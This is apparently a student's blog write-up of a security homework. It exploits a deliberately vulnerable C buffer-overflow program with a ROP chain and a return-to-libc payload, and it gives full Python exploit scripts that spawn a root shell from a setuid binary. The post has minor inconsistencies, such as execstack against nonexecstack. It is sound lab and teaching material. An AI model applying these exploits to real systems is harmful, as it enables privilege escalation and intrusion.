华科信息系统安全作业2:ROP与Return2Libc攻击

作业要求

homework2.c有缓冲区溢出漏洞,利用return2libc或rop攻击, 编写exploit程序来构建恶意输入文件,攻击目标为运行shell

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int vulfunc(char *str){
 char buffer[25];
 strcpy(buffer, str);
 return 1;
}

int main(){
 char str[500];
 FILE *badfile;
 badfile = fopen("badfile","r");
 fread(str, sizeof(char), 400, badfile);
 vulfunc(str);
 printf("Returned properly\n");
 fclose(badfile);
 return 0;
}

1. ROP

1.1 安装ROPgadget

对于ubuntu16.04,默认安装了python2,只需要安装pip即可,然后再安装ROPgadget依赖capstone,就能顺利安装ROPgadget了,命令如下:

sudo apt-get install python-pip  
sudo pip install capstone  
sudo pip install ROPgadget  

1.2 环境

在这里插入图片描述
地址随机化打开

sudo sysctl -w kernel.randomize_va_space=2

之后编译目标文件stack.c,其中参数-fno-stack-protector用来关闭gcc编译器gs验证码机制, -z execstack用来关闭ld链接器堆栈段不可执行机制

gcc  -g -fno-stack-protector -z nonexecstack -static -o stack_gdb stack.c 

设置程序文件的owner为root

sudo chown root stack_gdb
sudo chmod 4755 stack_gdb

1.3 EIP与buffer的距离

只需将buffer[100]填充为1~100的数字来标志其位置,出错位置即为所求
脚本如下:

import sys

# fill content with none zero values
content = bytearray(0x01 for i in range(100));

for i in range(100):
	content[i] += i

badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()

在这里插入图片描述
得之,0x25 = 37 bit 为system起始地址.

1.4 badfile & Attack

运行命令ROPgadget --binary ./stack --ropchain分析测试程序,生成gadget链
Padding代码如下:

from struct import pack
p = ''
for i in range(37):
    p += pack('<B', 0xaa)
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df505) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0806cde5) # int 0x80
badfile = open("badfile", "wb")
badfile.write(p)
badfile.close()

生成badfile(注意,此处必须使用python2运行,python3会报错)
最终执行
在这里插入图片描述

2. Return2libc

环境配置

在这里插入图片描述
关闭地址随机化
在这里插入图片描述

sudo sysctl -w kernel.randomize_va_space=0

编译,关闭可执行栈、关闭StackGuard

gcc -fno-stack-protector -z nonexecstack -o stack stack.c 

设置程序文件的owner为root

sudo chown root stack
sudo chmod 4755 stack

Task A :查找system()的地址

p system
p exit

在这里插入图片描述
这里system 的地址为0xb7e43da0,exit的地址为0xb7e379d0

Task B :查找 “/bin/sh” 字符串的地址

在这里插入图片描述
在环境变量中export该字符串,后查询地址为0xbffffe58
代码如下:

-----env.c-----
#include<stdio.h>
int main(){
	char *shell = (char*)getenv("MYSHELL");
	if(shell){
		printf("VALUE: %s\n",shell);
		printf("ADDRESS: %x\n",(unsigned int)shell);
	}
}

Task C : 为system()构造参数,在堆栈中查找位置以放置“/bin/sh” 地址(system()的参数)

再次用gdb调试程序,同样设置断点在vulfunc,主要是为了进入堆栈段,单后打印MYSHELL=”/bin/sh”所在地址周围的串,可以找到其在栈中地址为0xbffffe4d
命令为x /500s 0xbffffe40
在这里插入图片描述
MYSHELL地址为0xbffffe4d,不过后来测试的时候发现还是0xbffffe58,若为此时的地址,会出错
在这里插入图片描述
寻找EIP,即返回地址,之后要指向system函数的地址
b vulfunc 用gdb调试代码,设置断点在函数vulfunc中
p $ebp 运行到断点后,查看ebp与buffer地址
p &buffer
p/d 0xbfffed98 - 0xbfffed77 计算偏移为0x21 = 33
在这里插入图片描述
在这里插入图片描述
33+4=37 故想覆盖[esp+4] = EIP需要预先填充37个字节

具体覆盖位置如下:
在这里插入图片描述
故system地址在ebp+4,exit地址在ebp+8,MYSHELL地址在ebp+12,代码如下:

#!/usr/bin/python3
import sys

# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))

# "/bin/sh"
#ebp+12
shell = 0xbffffe58
content[45:49] = (shell).to_bytes(4,byteorder='little')

# exit
#ebp+8
exit = 0xb7e379d0
content[41:45] = (exit).to_bytes(4,byteorder='little')


# system
sys =  0xb7e43da0
#ebp+4
content[37:41] = (sys).to_bytes(4,byteorder='little')

# Write the content to a file
file = open("badfile", "wb")
file.write(content)
file.close()

运行,可以得到如下命令行:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值